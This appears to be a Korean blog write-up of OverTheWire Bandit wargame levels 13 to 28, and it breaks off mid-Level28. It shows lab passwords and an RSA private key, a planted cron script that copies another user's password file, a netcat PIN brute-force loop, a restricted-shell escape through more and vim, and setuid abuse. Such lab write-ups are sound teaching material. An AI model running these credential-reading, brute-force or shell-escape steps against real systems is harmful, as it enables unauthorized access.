Jastes 2023. 8. 23. 00:00

WriteUp

Level13

์ €์žฅ๋œ ์œ„์น˜๋Š” /etc/bandit_pass/bandit์— ์žˆ๋Š”๋ฐ ์šฐ๋ฆฌ๊ฐ€ ์ฝ์„ ์ˆœ ์—†๊ณ ,
๋Œ€์‹  private SSH key์„ ์ด์šฉํ•ด ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

$ ssh bandit13@bandit.labs.overthewire.org -p 2220

$ ls -al
total 24
drwxr-xr-x  2 root     root     4096 Apr 23 18:04 .
drwxr-xr-x 70 root     root     4096 Apr 23 18:05 ..
-rw-r--r--  1 root     root      220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root     root     3771 Jan  6  2022 .bashrc
-rw-r--r--  1 root     root      807 Jan  6  2022 .profile
-rw-r-----  1 bandit14 bandit13 1679 Apr 23 18:04 sshkey.private

# local desktop PC env
$ scp -P 2220 bandit13@bandit.labs.overthewire.org:sshkey.private .
$ chmod 400 sshkey.private
$ ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220

# remote bandit14 level
bandit14@bandit:~$ cat /etc/bandit_pass/bandit14
๋”๋ณด๊ธฐ
[Next Level]
fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq
Explanation(Keyword)
์œ„์™€ ๊ฐ™์ด ๋กœ๊ทธ์ธ 

scp ๋ช…๋ น์–ด๊ฐ€ ์œ„์— ๋‹ค์šด๋กœ๋“œ๋ฅผ ๋„์™€์ฃผ๋ฉฐ, ssh์˜ -i๋ผ๋Š” ์˜ต์…˜์„ ํ†ตํ•ด RSA ๋กœ๊ทธ์ธ ๋ฐฉ์‹์œผ๋กœ ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

 

๋ฆฌ๋ˆ…์Šค scp ์‚ฌ์šฉ๋ฒ• - ์ œํƒ€์œ„ํ‚ค

๋‹ค์Œ ๋ฌธ์ž์—ด ํฌํ•จ...

zetawiki.com

 

SSH/OpenSSH/Keys - Community Help Wiki

Parent page: Internet and Networking >> SSH Public and Private Keys Public key authentication is more secure than password authentication. This is particularly important if the computer is visible on the internet. If you don't think it's important, try log

help.ubuntu.com


Level14

ํ˜„์ œ ๋ ˆ๋ฒจ์˜ ๋น„๋ฒˆ์„ ๋กœ์ปฌ ํฌํŠธ 30000์— ๊ธฐ์ž…ํ•˜๋ฉด ๋น„๋ฒˆ์„ ์•Œ๋ ค์ค€๋‹ค๊ณ  ํ•˜๋„ค์š”

# nc(netcat)
$ ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220

bandit14@bandit:~$ cat /etc/bandit_pass/bandit14 | nc localhost 30000
Correct!

# or telnet use..
$ telnet bandit.labs.overthewire.org 30000
Trying 127.0.0.1...
Connected to bandit.labs.overthewire.org.
Escape character is '^]'.
# -- bandit14 password --
Correct!
๋”๋ณด๊ธฐ
[Next Level]
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt
Explanation(Keyword)
telnet์ด๋‚˜ nc ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์œ„์˜ ๋น„๋ฒˆ์„ ๊ธฐ์ž…ํ•˜๋ฉด ๋‹ค์Œ ๋ ˆ๋ฒจ๋กœ

nc๋Š” ๋ฆฌ๋‹ค์ด๋ ‰์…˜์ด ๊ฐ€๋Šฅํ•˜๋‹ต๋‹ˆ๋‹ค.

Level15

SSL ์•”ํ˜ธํ™”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ localhost์˜ ํฌํŠธ 30001์— ํ˜„์ œ ๋ ˆ๋ฒจ์˜ ์•”ํ˜ธ๋ฅผ ์ œ์ถœํ•˜๋ž๋‹ˆ๋‹ค.

$ cat /etc/bandit_pass/bandit15 | openssl s_client -connect localhost:30001 -ign_eof
CONNECTED(00000003)
depth=0 CN = localhost
...
...
notAfter=Aug 16 16:05:30 2023 GMT
verify return:1
---
...
...
read R BLOCK
Correct!
๋”๋ณด๊ธฐ
[Next Level]
JQttfApK4SeyHwDlI9SXGR50qclOAil1
Explanation(Keyword)
 openssl s_client๋Š” OpenSSL ์œ ํ‹ธ๋ฆฌํ‹ฐ์˜ ํ•˜๋‚˜๋กœ, TLS/SSL๋กœ ์•”ํ˜ธํ™”๋œ ์„œ๋ฒ„์— ์ ‘์†ํ•˜์—ฌ SSL/TLS ์„ธ์…˜์„ ์„ค์ •ํ•˜๊ณ  ๋””๋ฒ„๊น… ๋ฐ ํ…Œ์ŠคํŠธ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค.

-ign(ore)_eof(end of file)๋กœ์จ ํด๋ผ์ธก์—์„œ eof ๋ฌธ์ž๋ฅผ ๋ณด๋‚ผ ์‹œ ์„ธ์…˜ ์ข…๋ฃŒํ•˜์ง€ ๋ง๊ณ  ๊ธฐ๋‹ฌ๋ฆฌ๋Š” ๋ช…๋ น

์ฐธ๊ณ ์ž๋ฃŒ

 

OpenSSL Cookbook 3rd Edition

 

www.feistyduck.com

 

 

Transport Layer Security - Wikipedia

From Wikipedia, the free encyclopedia Cryptographic protocols for securing data in transit Transport Layer Security (TLS) is a cryptographic protocol designed to provide communications security over a computer network. The protocol is widely used in applic

en.wikipedia.org

 

 

OpenSSL ์ž์ฃผ ์“ฐ๋Š” ๋ช…๋ น์–ด(command) ๋ฐ ์‚ฌ์šฉ๋ฒ•, tip ์ •๋ฆฌ

-----BEGIN ENCRYPTED PRIVATE KEY----- MIIFHzBJBgkqhkiG9w0BBQ0wPDAbBgkqhkiG9w0BBQwwDgQITJWLw/UHoM0CAggA

www.lesstif.com


Level16

ํ˜„์žฌ ๋น„๋ฒˆ์„ ํฌํŠธ 31000-32000์‚ฌ์ด์— ์—ด๋ ค์žˆ๋Š” ํฌํŠธ๋ฅผ ์ฐพ๊ณ ,
SSL์ด ๋˜์–ด ์žˆ๋Š”(์ˆ˜์‹ ๋˜๋Š” ์„œ๋ฒ„ ํฌํŠธ๋Š” ํ•˜๋‚˜์ž„) ๊ณณ์„ ์ฐพ์•„ ๋„ฃ์–ด๋ผ๋„ค์š”

#open port find solve_1
bandit16@bandit:~$nmap -p 31000-32000 localhost
Nmap scan report for localhost (127.0.0.1)
Not shown: 996 closed ports

PORT      STATE SERVICE
31046/tcp open  unknown
31518/tcp open  unknown
31691/tcp open  unknown
31790/tcp open  unknown
31960/tcp open  unknown


#open port find solve_2(reference)
... (echo > /dev/tcp/localhost/port) >& /dev/null && checking
... nc -vz localhost 31000-32000 | grep "succeeded!" (answer error to send..)


$ cat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31790 -ign_eof
CONNECTED(00000003)
...
...
---
read R BLOCK
Correct!(import!!)

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----


#RSA method ssh connect
bandit16@bandit:~$ mkdir /tmp/Jastes
bandit16@bandit:~$ chmod 700 /tmp/Jastes
bandit16@bandit:~$ vi /tmp/Jastes/.sshkey.private
bandit16@bandit:~$ chmod 600 /tmp/Jastes/.sshkey.private

$ ssh -i /tmp/Jastes/.sshkey.private bandit17@bandit.labs.overthewire.org -p 2220
๋”๋ณด๊ธฐ
[Next Level]
...
Explanation(Keyword)
 openssl s_client๋Š” OpenSSL ์œ ํ‹ธ๋ฆฌํ‹ฐ์˜ ํ•˜๋‚˜๋กœ, TLS/SSL๋กœ ์•”ํ˜ธํ™”๋œ ์„œ๋ฒ„์— ์ ‘์†ํ•˜์—ฌ SSL/TLS ์„ธ์…˜์„ ์„ค์ •ํ•˜๊ณ  ๋””๋ฒ„๊น… ๋ฐ ํ…Œ์ŠคํŠธ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค.

ssh์˜ -i๋ผ๋Š” ์˜ต์…˜์„ ํ†ตํ•ด RSA ๋กœ๊ทธ์ธ ๋ฐฉ์‹์œผ๋กœ ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค.

 


์ฐธ๊ณ ์ž๋ฃŒ

 

SSH/OpenSSH/Keys - Community Help Wiki

Parent page: Internet and Networking >> SSH Public and Private Keys Public key authentication is more secure than password authentication. This is particularly important if the computer is visible on the internet. If you don't think it's important, try log

help.ubuntu.com


Level17

password.old์™€ new์˜ ์ฐจ์ด์ ์ด ๋ฐ”๋กœ ๋‹ค์Œ ๋‹จ๊ณ„์˜ ๋น„๋ฒˆ์ด๋ผ๊ณ  ํ•˜๋„ค์š”.
์ฐธ๊ณ ๋กœ "Bytebye!"๋Š” 19๋ ˆ๋ฒจ๊ณผ ์—ฐ๊ด€(?) ์žˆ์–ด์š”

bandit17@bandit:~$ ls -al
total 36
drwxr-xr-x  3 root     root     4096 Apr 23 18:04 .
drwxr-xr-x 70 root     root     4096 Apr 23 18:05 ..
-rw-r-----  1 bandit18 bandit17 3300 Apr 23 18:04 passwords.new
-rw-r-----  1 bandit18 bandit17 3300 Apr 23 18:04 passwords.old

bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< glZreTEH1V3cGKL6g4conYqZqaEj0mte
---
....
๋”๋ณด๊ธฐ
[Next Level]
hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg
Explanation(Keyword)
 diff๋Š” ๊ฐ ํŒŒ์ผ(2๊ฐœ) ์ฐจ์ด์ ์„ ํ™•์ธํ•˜๋Š” ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค.

 


Level18

homedir์— readme๋ผ๋Š” ํŒŒ์ผ์— ์ •๋‹ต์ด ์žˆ์ง€๋งŒ .bashrc(๋ฆฌ๋ˆ…์Šค ์‰˜ ํ™˜๊ฒฝ ์„ค์ •)์„ ๊ฑด๋“ค๋ ธ์–ด์š”..
๊ทธ๋ž˜์„œ ์ ‘์† ์‹œ ๊ณ„์† ํŒ…๊ธด๋‹ค๋Š”๊ตฐ

#failure
$ ssh bandit18@bandit.labs.overthewire.org -p 2220 && cat readme
Byebye !
Connection to bandit.labs.overthewire.org closed.
cat: ./readme: No such file or directory

#Success
$ ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat ./readme"
...
๋”๋ณด๊ธฐ
[Next Level]
awhqfNnAbc1naukrpqDYcF95h7HoMTrC
Explanation(Keyword)
 SSH์— ๋ฌธ์ž์—ด์„ ์ถ”๊ฐ€ํ•˜์—ฌ ssh๋ช…๋ น์–ด์— ๋ช…๋ น์–ด๋ฅผ ์ง์ ‘ ์‹คํ–‰ํ•˜๊ธฐ

Level19

homedir์— setuid[๊ฐ์ฃผ:1]์— ์ ‘๊ทผ์— ์ธ์ž๋ฅผ ํ†ตํ•ด ํ™•์ธํ•˜๋ผ๋Š”๊ฑฐ ๊ฐ™๋„ค์š”

bandit19@bandit:~$ ls -al
total 36
drwxr-xr-x  2 root     root      4096 Apr 23 18:04 .
drwxr-xr-x 70 root     root      4096 Apr 23 18:05 ..
-rwsr-x---  1 bandit20 bandit19 14876 Apr 23 18:04 bandit20-do

bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
....
๋”๋ณด๊ธฐ

Level20

TCP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ localhost์˜ ์ง€์ •๋œ ํฌํŠธ์— ์—ฐ๊ฒฐ,
ํ˜„์žฌ ๋ ˆ๋ฒจ์˜ ๋น„๋ฒˆ์„ ์ˆ˜์‹ ํ•˜๋ฉด ์ •๋‹ต์ด ๋‚˜์˜จ๋‹ค๊ณ  ๊ธฐ์žฌ๋˜์–ด ์žˆ๋„ค์š”

$ ./suconnect
Usage: ./suconnect <portnumber>
This program will connect to the given port on localhost using TCP. 
If it receives the correct password from the other side, 
the next password is transmitted back.

#background running
$ nc -lp 1234 < /etc/bandit_pass/bandit20 &

$ ./suconnect 1234
Read: VxCazJaVykI6W36BkBU0mJTCM8rR95XT
Password matches, sending next password
....
๋”๋ณด๊ธฐ
[Next Level]
NvEJF7oVjkddltPSrdKEFOllh9V1IBcq
Explanation(Keyword)
 ํ„ฐ๋ฏธ๋„์„ ๋‘๊ฐœ๋กœ์จ ์ฒซ๋ฒˆ์งธ๋Š” ํ•ด๋‹น ํฌํŠธ์— ์ž…๋ ฅ ๋ถ€๋ถ„(๋ฆฌ๋‹ค์ด๋ ‰์…˜์— &(๋ฐฑ๊ทธ๋ผ์šด๋“œ ์‹คํ–‰))์œผ๋กœ ์ง„ํ–‰ & ์ˆ˜์‹ ๊ธฐํ•˜๊ณ  ๋‘๋ฒˆ์งธ๋Š” ํ•ด๋‹น Setuid๋ฅผ ์‹คํ–‰ํ•ด ํ•ด๋‹น ํฌํŠธ๋ฅผ ์—ฐํ•˜์—ฌ ์—ด๋„๋ก ๋งŒ๋“ ๋‹ค.

Level21

cron[๊ฐ์ฃผ:2]์„ ๋ฐฐ์šธ๊ฑด๋ฐ /etc/cron.d/์—์„œ ํ™•์ธ ํ•œ ๋ฒˆ ํ•ด๋ณด๋ผ๋„ค์š”

#editer checking
bandit21@bandit:~$ vi /etc/cron.d/
...
.placeholder
cronjob_bandit15_root
cronjob_bandit17_root
cronjob_bandit22
cronjob_bandit23
cronjob_bandit24
cronjob_bandit25_root
...


bandit21@bandit:~$ vi /etc/cron.d/cronjob_bandit22
...
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
...


bandit21@bandit:~$ vi /usr/bin/cronjob_bandit22.sh
....
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
....

#solve
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
....
๋”๋ณด๊ธฐ

Level22

cron[๊ฐ์ฃผ:3]์„ ๋ฐฐ์šธ๊ฑด๋ฐ /etc/cron.d/์—์„œ ํ™•์ธ ํ•œ ๋ฒˆ ํ•ด๋ณด๋ผ๋„ค์š”

#editer checking
bandit22@bandit:~$ vi /etc/cron.d/
...
.placeholder
cronjob_bandit15_root
cronjob_bandit17_root
cronjob_bandit22
cronjob_bandit23
cronjob_bandit24
cronjob_bandit25_root
...
# ... same bandit 21 logic step ...

bandit22@bandit:~$ vi /usr/bin/cronjob_bandit23.sh
....
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
....

#solve
bandit22@bandit:~$ echo "I am user bandit23" | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349

bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
....
๋”๋ณด๊ธฐ

Level23

cron[๊ฐ์ฃผ:4]์„ ๋ฐฐ์šธ๊ฑด๋ฐ /etc/cron.d/์—์„œ ํ™•์ธ ํ›„ ์ง์ ‘ ๋งŒ๋“ค์–ด๋ณด๊ธฐ!!

#editer checking
bandit23@bandit:~$ vi /etc/cron.d/
...
.placeholder
cronjob_bandit15_root
cronjob_bandit17_root
cronjob_bandit22
cronjob_bandit23
cronjob_bandit24
cronjob_bandit25_root
...
# ... same bandit 21, 22 logic step ...


bandit23@bandit:~$ vi /usr/bin/cronjob_bandit24.sh
--------------------
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -rf ./$i
    fi
done
----------------------


#solve
bandit23@bandit:/$ mkdir /tmp/problem/
bandit23@bandit:/$ cd /tmp/problem
bandit23@bandit:/tmp/problem$ vi exploit.sh
------------
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/problem/bandit24_password
------------

bandit23@bandit:/tmp/problem$ chmod 777 exploit.sh
bandit23@bandit:/tmp/problem$ chmod 777 /tmp/problem
bandit23@bandit:/tmp/problem$ cp ./exploit.sh /var/spool/bandit24/foo
...(1 minte later)

bandit23@bandit:/tmp/problem$ ls
bandit24_password  exploit.sh
bandit23@bandit:/tmp/problem$ cat bandit24_password
...
๋”๋ณด๊ธฐ
[Next Level]
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
Explanation(Keyword)
 /var/spool/bandit24์— ์žˆ๋Š” ๋ชจ๋“  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์‚ญ์ œํ•จ
์ž์ฒด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  /var/spool/bandit24์— ๋ณต์‚ฌ ํ›„ ๊ฒฐ๊ณผ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๊ธฐ

์ฐธ๊ณ ์ž๋ฃŒ

 

๋ฆฌ๋ˆ…์Šค ๋ฐ˜๋ณต ์˜ˆ์•ฝ์ž‘์—… cron, crond, crontab - ์ œํƒ€์œ„ํ‚ค

1 ๊ฐœ์š”[ | ] cron, cronie, crond, cron daemon, crontab, cron job, crontab job ํฌ๋ก , ํฌ๋ก  ๋ฐ๋ชฌ, ํฌ๋ก ํƒญ, ํฌ๋ก ์ž‘์—…, ๋ฆฌ๋ˆ…์Šค ์ž‘์—… ์Šค์ผ€์ค„๋Ÿฌ /usr/sbin/crond /usr/bin/crontab ํ”„๋กœ์„ธ์Šค ์˜ˆ์•ฝ ๋ฐ๋ชฌ ๋ฆฌ๋ˆ…์Šค์šฉ ์ž‘์—… ์Šค์ผ€์ค„๋Ÿฌ ํŠน์ •

zetawiki.com


Level24

๋ฐ๋ชฌ[๊ฐ์ฃผ:5]๋กœ ํฌํŠธ 30002์— ์ˆ˜์‹  ๋Œ€๊ธฐ ์ค‘์œผ๋กœ ๋น„๋ฒˆ์„ ์•Œ๋ ค์ฃผ๋ฉฐ,
ํ˜„์žฌ ์•”ํ˜ธ์™€ ๋น„๋ฐ€ ์ˆซ์ž 4์ž๋ฆฌ ํ•€ ์ฝ”๋“œ๊ฐ€ ์ œ๊ณต๋˜๋ฉด ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ๋„˜์–ด๊ฐ„๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

 

10000์„ ๋ชจ๋‘ ์‹œ๋„.. ์ฆ‰, brute-force(๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ)์„ ์‹œ๋„ ํ•˜๋Š” ๊ฒ๋‹ˆ๋‹ค.

bandit24@bandit:~$ cd /tmp/problem #before make this file..

# solv_1
bandit24@bandit:/tmp/problem$ vi bandit24_exploit.sh
-----------------------
#!/bin/bash

Pass="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"

for i in {0000..9999}
do
        if echo $Pass $i | nc localhost 30002 | grep Wrong > /dev/null
        then
                echo `Search awnser... $i`
        else
                echo $Pass $i | nc localhost 30002
                exit
        fi
done
-----------------------
bandit24@bandit:/tmp/problem$ chmod +x bandit24_exploit.sh 
bandit24@bandit:/tmp/problem$ ./bandit24_exploit.sh
# .... too.. slow :(

#solv_2
bandit24@bandit:/tmp/problem$ vi make_pass.sh
bandit24@bandit:/tmp/problem$ touch list.txt
-----------------------
#!/bin/bash
pwd="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"

for i in {0000..5000}
do
    echo $pwd $i >> /tmp/list24
done
------------------------
#!/bin/bash
pwd="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"

for i in {5000..9999}
do
    echo $pwd $i >> /tmp/list24
done
-----------------------
bandit24@bandit:/tmp/problem$ chmod +x make_pass.sh
bandit24@bandit:/tmp/problem$ cat list.txt | nc localhost 30002 | grep -v Wrong

I am the pincode checker for user bandit25. 
Please enter the password for user bandit24 and the secret pincode on a single line, 
separated by a space. Correct!
The password of user bandit25 is ...

Exiting.

# pwnable meking to python code.. I didn't find solve script.. comming soon!!(?)
๋”๋ณด๊ธฐ
[Next Level]
p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
Explanation(Keyword)
 solv2์—์„œ password list๊ฐ€ ๋„ˆ๋ฌด ๊ธธ์–ด์„œ ์ ์šฉ์ด ์•ˆ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๊ธฐ์— ๋‚˜๋ˆ„์–ด ๊ธฐ์ž…ํ•˜์„ธ์š”
๋‚˜๋จธ์ง€ solv๋Š” ์ค€๋น„ ์ค‘ ํ˜น์€ ๋„ˆ๋ฌด ๋Š๋ ค์„œ ์ถ”์ฒœํ•˜์ง€๋Š” ์•Š์•„์š”

์ฐธ๊ณ ์ž๋ฃŒ

pwntools๋กœ ํ’€์ด ์ฝ”๋“œ(์ ์šฉ์ด ์•ˆ๋˜๋˜๋ฐ..)


Level25-26

๋กœ๊ทธ์ธ์„ ํ•˜๋Š”๋ฐ 26๋ ™์€ /bin/bash๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ (์‰˜์ด ์•„๋‹Œ๊ฐ€?)
๊ทธ ๋ถ€๋ถ„๋งŒ ์•Œ๊ณ  ๋‹ค๋ฅธ ๋ถ€๋ถ„์„ ์ฐพ์•„๋ณด๋ž๋‹ˆ๋‹ค.

bandit25
bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

bandit25@bandit:~$ vi /usr/bin/showtext
-----------------------
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0
-----------------------
bandit25@bandit:~$ ls
bandit26.sshkey

bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost -p 2220
# we need more option it's explained below
# more max height = 6

  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
--More--(50%)

# press "v" or :!(command)
# we follow step is if press "v" solution script
# Then, in vi type ':e /etc/bandit_pass/bandit26'
---------------------------
c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1 #Success!!
...
...
---------------------------

 


๋”ฑํžˆ ์„ค๋ช…ํ•  ๋ถ€๋ถ„์€ ์—†๋Š”๊ฑฐ ๊ฐ™๋„ค์š”..

bandit26
# vim
---------------------
.... 
....
:set shell=/bin/bash #set(valuable setting)
:shell #shell
----------------------
bandit26@bandit:~$ id
uid=11026(bandit26) gid=11026(bandit26) groups=11026(bandit26)

bandit26@bandit:~$ ls -al
total 44
drwxr-xr-x  3 root     root      4096 Apr 23 18:04 .
drwxr-xr-x 70 root     root      4096 Apr 23 18:05 ..
-rwsr-x---  1 bandit27 bandit26 14876 Apr 23 18:04 bandit27-do
-rw-r-----  1 bandit26 bandit26   258 Apr 23 18:04 text.txt

bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
...
๋”๋ณด๊ธฐ
[Next Level]
bandit25 : c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1
bandit26 : YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS
Explanation(Keyword)
 solv2์—์„œ password list๊ฐ€ ๋„ˆ๋ฌด ๊ธธ์–ด์„œ ์ ์šฉ์ด ์•ˆ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๊ธฐ์— ๋‚˜๋ˆ„์–ด ๊ธฐ์ž…ํ•˜์„ธ์š”
๋‚˜๋จธ์ง€ solv๋Š” ์ค€๋น„ ์ค‘ ํ˜น์€ ๋„ˆ๋ฌด ๋Š๋ ค์„œ ์ถ”์ฒœํ•˜์ง€๋Š” ์•Š์•„์š”

 level25-26๋Š” ์—ฐ๊ณ„๋˜์–ด ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค.
:v๋กœ ํ˜„์ œ ํŽธ์ง‘๊ธฐ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ.. !๋Š” ์•ˆ๋˜๋”๋ผ๊ณ ์š”
vim์—์„œ :e ์˜ต์…˜์ด ํŒŒ์ผ ์—ด๊ณ  ํŽธ์ง‘ํ•˜๊ธฐ ์˜ต์…˜

์ฐธ๊ณ ์ž๋ฃŒ

 

more(1) - Linux manual page

more(1) — Linux manual page MORE(1) User Commands MORE(1) NAME         top more - display the contents of a file in a terminal SYNOPSIS         top more [options] file ... DESCRIPTION         top more is a filter for paging through text one s

man7.org

 

 

Vim documentation: editing

 

vimdoc.sourceforge.net

 

How to specify shell for vim?

Can I specify my shell for vim? I'm running OS X and have zsh installed via Homebrew and am using MacVim. When I type shell in MacVim, the shell opens up as bash. How can I have it open as zsh?

superuser.com


Level27

์œ„์— ๋งํฌ์— ์ ‘์†ํ•˜์—ฌ bandit27-git๋ฅผ ์–ป์–ด์„œ ๋„˜์–ด๊ฐ‘์‹œ๋‹ค.

bandit27@bandit:~$ mkdir /tmp/prob
bandit27@bandit:~$ cd /tmp/prob
bandit27@bandit:/tmp/prob$ chmod 777 /tmp/prob

/tmp/prob$ git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 
([127.0.0.1]:2220)' can't be established.
....
....
bandit27-git@localhost's password:
remote: Enumerating objects: 3, done.
Receiving objects: 100% (3/3), done.
....
....

bandit27@bandit:/tmp/repo27$ ls
repo
bandit27@bandit:/tmp/repo27$ cd repo
bandit27@bandit:/tmp/repo27$ ls
README
bandit27@bandit:/tmp/repo27/repo$ cat README
...
๋”๋ณด๊ธฐ

Level28

์œ„์— ๋งํฌ์— ์ ‘์†ํ•˜์—ฌ bandit28-git๋ฅผ ์–ป์–ด์„œ ๋„˜์–ด๊ฐ‘์‹œ๋‹ค.

bandit28@bandit:~$ mkdir /tmp/repo28
bandit28@bandit:~$ cd /tmp/repo28
...(same bandit27 logic)...

#step 1
bandit28@bandit:/tmp/repo28/repo$ vi README.md
--------------------------
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx
----------------------------

#step 2
bandit28@bandit:/tmp/repo28/repo$ git log
------------------------------------------------------------
commit 24ad07097ab1bdc12dfbd4bfe854d06fb6f0ccbe (HEAD -> master)
Author: Morla Porla <morla@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

